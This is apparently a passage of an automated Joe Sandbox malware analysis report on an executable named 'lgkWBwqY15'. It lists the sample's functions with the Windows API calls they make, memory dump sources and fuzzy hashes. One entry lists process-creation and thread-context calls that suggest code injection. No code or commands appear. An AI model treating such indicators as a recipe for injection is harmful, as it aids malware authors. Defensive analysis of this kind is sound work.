                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Temp$FileNamePath
                                                                                      • String ID: aut
                                                                                      • API String ID: 3285503233-3010740371
                                                                                      • Opcode ID: 5de205777d8f579cb548acb4b311dc479f98cecb6b6f60e15f31a83fede3ca36
                                                                                      • Instruction ID: e14ec816b4d0b15f8f6f017d75edb4d6c0f006b6fa5e09bf28b98a5dba9b2a6a
                                                                                      • Opcode Fuzzy Hash: 5de205777d8f579cb548acb4b311dc479f98cecb6b6f60e15f31a83fede3ca36
                                                                                      • Instruction Fuzzy Hash: 4AD05E7150030EABDB60AB90DC0EFCA776D9700704F0001A07750A50B1DAB0E79A8B54
                                                                                      Function 005FF8AE Relevance: 4.9, APIs: 3, Instructions: 385COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: 3482865cd35eae5208627964e0f6fc124269eb6e94a1c3ea70a758c528d38c56
                                                                                      • Instruction ID: fbfe94f0b3760e473465b02befc2578a151af63f20cf2153e7b3e3c9cd33df0b
                                                                                      • Opcode Fuzzy Hash: 3482865cd35eae5208627964e0f6fc124269eb6e94a1c3ea70a758c528d38c56
                                                                                      • Instruction Fuzzy Hash: 41F16A716083069FC714DF24C885B6EBBE5BFC8314F14896EF9959B292DB34E905CB82
                                                                                      Function 005A4FFC Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005A5022
                                                                                      • Shell_NotifyIconW.SHELL32(00000000,?), ref: 005A50CB
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: IconNotifyShell__memset
                                                                                      • String ID:
                                                                                      • API String ID: 928536360-0
                                                                                      • Opcode ID: 0a8d5c636731ee77f8c80299381222001c11c6edc3ac092bb44c7e6627f34e0f
                                                                                      • Instruction ID: 38acb3396655647be7bb6f652afc482556cced92f7bfe21cfcc95aef171cf8ec
                                                                                      • Opcode Fuzzy Hash: 0a8d5c636731ee77f8c80299381222001c11c6edc3ac092bb44c7e6627f34e0f
                                                                                      • Instruction Fuzzy Hash: 263191B1505701DFC721DF24D849A9BBFE8FF4A308F04092EF69A87241E7B1A944CB92
                                                                                      Function 005C395C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __FF_MSGBANNER.LIBCMT ref: 005C3973
                                                                                        • Part of subcall function 005C81C2: __NMSG_WRITE.LIBCMT ref: 005C81E9
                                                                                        • Part of subcall function 005C81C2: __NMSG_WRITE.LIBCMT ref: 005C81F3
                                                                                      • __NMSG_WRITE.LIBCMT ref: 005C397A
                                                                                        • Part of subcall function 005C821F: GetModuleFileNameW.KERNEL32(00000000,00660312,00000104,00000000,00000001,00000000), ref: 005C82B1
                                                                                        • Part of subcall function 005C821F: ___crtMessageBoxW.LIBCMT ref: 005C835F
                                                                                        • Part of subcall function 005C1145: ___crtCorExitProcess.LIBCMT ref: 005C114B
                                                                                        • Part of subcall function 005C1145: ExitProcess.KERNEL32 ref: 005C1154
                                                                                        • Part of subcall function 005C7C0E: __getptd_noexit.LIBCMT ref: 005C7C0E
                                                                                      • RtlAllocateHeap.NTDLL(00FF0000,00000000,00000001,00000001,00000000,?,?,005BF507,?,0000000E), ref: 005C399F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                                                      • String ID:
                                                                                      • API String ID: 1372826849-0
                                                                                      • Opcode ID: 9a73b34debcf9306e249acf837997e0f8a61b2e55725a02a4b25ff88fead15e5
                                                                                      • Instruction ID: dc4f919234b02dee1036ddf03be53f0813fac4aeaf685a7df4993a6e47a581a7
                                                                                      • Opcode Fuzzy Hash: 9a73b34debcf9306e249acf837997e0f8a61b2e55725a02a4b25ff88fead15e5
                                                                                      • Instruction Fuzzy Hash: EA01D63124570B9EE7253FE4EC4AF3E2F59BBC2760B20512DF50596292DAF49D008AA0
                                                                                      Function 005EC6D9 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,005EC385,?,?,?,?,?,00000004), ref: 005EC6F2
                                                                                      • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,005EC385,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 005EC708
                                                                                      • CloseHandle.KERNEL32(00000000,?,005EC385,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 005EC70F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: File$CloseCreateHandleTime
                                                                                      • String ID:
                                                                                      • API String ID: 3397143404-0
                                                                                      • Opcode ID: 4175aefbd96e5346cc6211b3614bdacdada1690e2c967120fff5d2dcae53a7ff
                                                                                      • Instruction ID: 1ce220f86452671a0ee907be4955b2918faab291af6b57f3cd4890d7e18ad19c
                                                                                      • Opcode Fuzzy Hash: 4175aefbd96e5346cc6211b3614bdacdada1690e2c967120fff5d2dcae53a7ff
                                                                                      • Instruction Fuzzy Hash: 6FE08632140614B7D7311B54EC0EFCA7F19EB05761F104110FB55690E097B165228799
                                                                                      Function 005A2322 Relevance: 3.9, APIs: 3, Instructions: 159COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A22A4: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,005A24F1), ref: 005A2303
                                                                                      • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 005A25A1
                                                                                      • CoInitialize.OLE32(00000000), ref: 005A2618
                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0061503A
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Handle$CloseInitializeMessageRegisterWindow
                                                                                      • String ID:
                                                                                      • API String ID: 3815369404-0
                                                                                      • Opcode ID: 27c2796009f7c958374f07b06c2d5f781f36f53c333199209f628e4408314040
                                                                                      • Instruction ID: fd4c2214d59060e13ada287b783cf59cec02445aa9e9aa570c025d0a55c08b92
                                                                                      • Opcode Fuzzy Hash: 27c2796009f7c958374f07b06c2d5f781f36f53c333199209f628e4408314040
                                                                                      • Instruction Fuzzy Hash: 3F71C0B48012858FC704EF6AA9A5558BFABFB9B344788612ED10ADF371CBB04684DF54
                                                                                      Function 005A3A0F Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • IsThemeActive.UXTHEME ref: 005A3A73
                                                                                        • Part of subcall function 005C1405: __lock.LIBCMT ref: 005C140B
                                                                                        • Part of subcall function 005A3ADB: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 005A3AF3
                                                                                        • Part of subcall function 005A3ADB: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 005A3B08
                                                                                        • Part of subcall function 005A3D19: GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,005A3AA3,?), ref: 005A3D45
                                                                                        • Part of subcall function 005A3D19: IsDebuggerPresent.KERNEL32(?,?,?,?,005A3AA3,?), ref: 005A3D57
                                                                                        • Part of subcall function 005A3D19: GetFullPathNameW.KERNEL32(00007FFF,?,?,00661148,00661130,?,?,?,?,005A3AA3,?), ref: 005A3DC8
                                                                                        • Part of subcall function 005A3D19: SetCurrentDirectoryW.KERNEL32(?,?,?,005A3AA3,?), ref: 005A3E48
                                                                                      • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 005A3AB3
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme__lock
                                                                                      • String ID:
                                                                                      • API String ID: 924797094-0
                                                                                      • Opcode ID: 3fedfd1a455c7395c75d00e194eb4ca7bab2d45c09a2915bebe4f2caa88577d9
                                                                                      • Instruction ID: a874ecf7e49b673a9fb789bd1a7ef6dd415655b22c33f15842d5152e92d49d43
                                                                                      • Opcode Fuzzy Hash: 3fedfd1a455c7395c75d00e194eb4ca7bab2d45c09a2915bebe4f2caa88577d9
                                                                                      • Instruction Fuzzy Hash: 7D11A1719083429FC700DF65D84994EFFE6FBD6350F00491EF544872A1DBB09541CB92
                                                                                      Function 005CE9D2 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • ___lock_fhandle.LIBCMT ref: 005CEA29
                                                                                      • __close_nolock.LIBCMT ref: 005CEA42
                                                                                        • Part of subcall function 005C7BDA: __getptd_noexit.LIBCMT ref: 005C7BDA
                                                                                        • Part of subcall function 005C7C0E: __getptd_noexit.LIBCMT ref: 005C7C0E
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __getptd_noexit$___lock_fhandle__close_nolock
                                                                                      • String ID:
                                                                                      • API String ID: 1046115767-0
                                                                                      • Opcode ID: 8fada84edb3e960776f50828f45c4ce106a0ad8b69795597e96371b1e8decf6a
                                                                                      • Instruction ID: 20f286a0782d552ad704dd7a1786de5157cda6f2beab3f9a21c4d7096ebcaddd
                                                                                      • Opcode Fuzzy Hash: 8fada84edb3e960776f50828f45c4ce106a0ad8b69795597e96371b1e8decf6a
                                                                                      • Instruction Fuzzy Hash: DB115E72805A169ED711BBE48C4AB597E627FC1335F2A4748E4205B1E2CBB88D40DAA1
                                                                                      Function 005BF4EA Relevance: 3.0, APIs: 2, Instructions: 43COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005C395C: __FF_MSGBANNER.LIBCMT ref: 005C3973
                                                                                        • Part of subcall function 005C395C: __NMSG_WRITE.LIBCMT ref: 005C397A
                                                                                        • Part of subcall function 005C395C: RtlAllocateHeap.NTDLL(00FF0000,00000000,00000001,00000001,00000000,?,?,005BF507,?,0000000E), ref: 005C399F
                                                                                      • std::exception::exception.LIBCMT ref: 005BF51E
                                                                                      • __CxxThrowException@8.LIBCMT ref: 005BF533
                                                                                        • Part of subcall function 005C6805: RaiseException.KERNEL32(?,?,0000000E,00656A30,?,?,?,005BF538,0000000E,00656A30,?,00000001), ref: 005C6856
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                                                      • String ID:
                                                                                      • API String ID: 3902256705-0
                                                                                      • Opcode ID: ba62d028fb0b0908b51d2323d131ecfcb34105b047ec1189594b2e8cf5336ae6
                                                                                      • Instruction ID: a5a3ed594d24bf8cc740d1d4413d323f52c454777f80fe90abdbbb6f9feee6a3
                                                                                      • Opcode Fuzzy Hash: ba62d028fb0b0908b51d2323d131ecfcb34105b047ec1189594b2e8cf5336ae6
                                                                                      • Instruction Fuzzy Hash: DEF0813110461E6BDB14BE98EC06EDE7EE9BB44354F604529F90892181DBB0A78087A6
                                                                                      Function 005C35E4 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005C7C0E: __getptd_noexit.LIBCMT ref: 005C7C0E
                                                                                      • __lock_file.LIBCMT ref: 005C3629
                                                                                        • Part of subcall function 005C4E1C: __lock.LIBCMT ref: 005C4E3F
                                                                                      • __fclose_nolock.LIBCMT ref: 005C3634
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                                                      • String ID:
                                                                                      • API String ID: 2800547568-0
                                                                                      • Opcode ID: 074ce51ff6a4a6e6c1c5913ea4cc576b85b21929f0e675f26912e2ae8f5f3839
                                                                                      • Instruction ID: a6f8b1567e396ce4094eba9a680c47ccba6f7a414d55e5abf0720b2bf9a1ccdc
                                                                                      • Opcode Fuzzy Hash: 074ce51ff6a4a6e6c1c5913ea4cc576b85b21929f0e675f26912e2ae8f5f3839
                                                                                      • Instruction Fuzzy Hash: E2F0907180120AAEDB117BE5C80AF6E7EA47F81334F25C10DE421AB2C2CB788B419E55
                                                                                      Function 01035C7D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CreateProcessW.KERNELBASE(?,00000000), ref: 0103643B
                                                                                      • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 010364D1
                                                                                      • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 010364F3
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348904164.0000000001034000.00000040.00000020.00020000.00000000.sdmp, Offset: 01034000, based on PE: false
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_1034000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                      • String ID:
                                                                                      • API String ID: 2438371351-0
                                                                                      • Opcode ID: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                                                                      • Instruction ID: 6e1ca537b1bcd848a7999c3f8526fd2a35b13962a7c3123656fdaaeffb2374ac
                                                                                      • Opcode Fuzzy Hash: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                                                                      • Instruction Fuzzy Hash: E912ED24E24658C6EB24DF64D8507DEB232EF68300F1091E9910DEB7A5E77A4F81CF5A
                                                                                      Function 005C2957 Relevance: 1.6, APIs: 1, Instructions: 135COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __flush.LIBCMT ref: 005C2A0B
                                                                                        • Part of subcall function 005C7C0E: __getptd_noexit.LIBCMT ref: 005C7C0E
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __flush__getptd_noexit
                                                                                      • String ID:
                                                                                      • API String ID: 4101623367-0
                                                                                      • Opcode ID: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
                                                                                      • Instruction ID: 3ac1db8020eadc8cf4d29a46f9380374487d36b57a3e6f0379e08e3acf1f98a3
                                                                                      • Opcode Fuzzy Hash: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
                                                                                      • Instruction Fuzzy Hash: 53416571600706AFDB289EE9C885FAE7FB6BF84360F24853DE855C7645DAB0DD818B40
                                                                                      Function 005BED18 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ProtectVirtual
                                                                                      • String ID:
                                                                                      • API String ID: 544645111-0
                                                                                      • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                      • Instruction ID: 0cc25acd946692461f9eceff81ef380bfdf42b7703698e1dee403244f78353e6
                                                                                      • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                      • Instruction Fuzzy Hash: 6031D574A001059FC718DF58C482AE9FBA6FF49340B6886A9E409DB356DB70EDC1DBC0
                                                                                      Function 00619A75 Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ClearVariant
                                                                                      • String ID:
                                                                                      • API String ID: 1473721057-0
                                                                                      • Opcode ID: 1b4aa08998ecc4f677293942927e50e286ba4bf2594af007303df02e002c5ca8
                                                                                      • Instruction ID: 5f2e961578b63d216d167a8b04787a687d51838031e02d0297db4073105f0f95
                                                                                      • Opcode Fuzzy Hash: 1b4aa08998ecc4f677293942927e50e286ba4bf2594af007303df02e002c5ca8
                                                                                      • Instruction Fuzzy Hash: 29411D745046518FDB24DF14C454B5ABFE1BF85304F1989ACE9964B3A2C372F885CF52
                                                                                      Function 005A41A9 Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A4214: FreeLibrary.KERNEL32(00000000,?), ref: 005A4247
                                                                                      • LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,005A39FE,?,00000001), ref: 005A41DB
                                                                                        • Part of subcall function 005A4291: FreeLibrary.KERNEL32(00000000), ref: 005A42C4
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Library$Free$Load
                                                                                      • String ID:
                                                                                      • API String ID: 2391024519-0
                                                                                      • Opcode ID: 81e13f5a48b408bf59085c1a9be30e2e84ddfd810e9f8ac4043ef3f8891dd0c3
                                                                                      • Instruction ID: 3647268e95da33a843b07de5137007d819c74dce28a6e5ca70bf85109c36dfb2
                                                                                      • Opcode Fuzzy Hash: 81e13f5a48b408bf59085c1a9be30e2e84ddfd810e9f8ac4043ef3f8891dd0c3
                                                                                      • Instruction Fuzzy Hash: CD11AB35600307AADF14ABB4DC0AF9E7BA5BFC1700F108429B596A61C1DFB49E459F51
                                                                                      Function 00619B45 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ClearVariant
                                                                                      • String ID:
                                                                                      • API String ID: 1473721057-0
                                                                                      • Opcode ID: b9f911ad91b6db7aa51102f2004e96d1e2715f0da8245389efe5e07caa0c8c2e
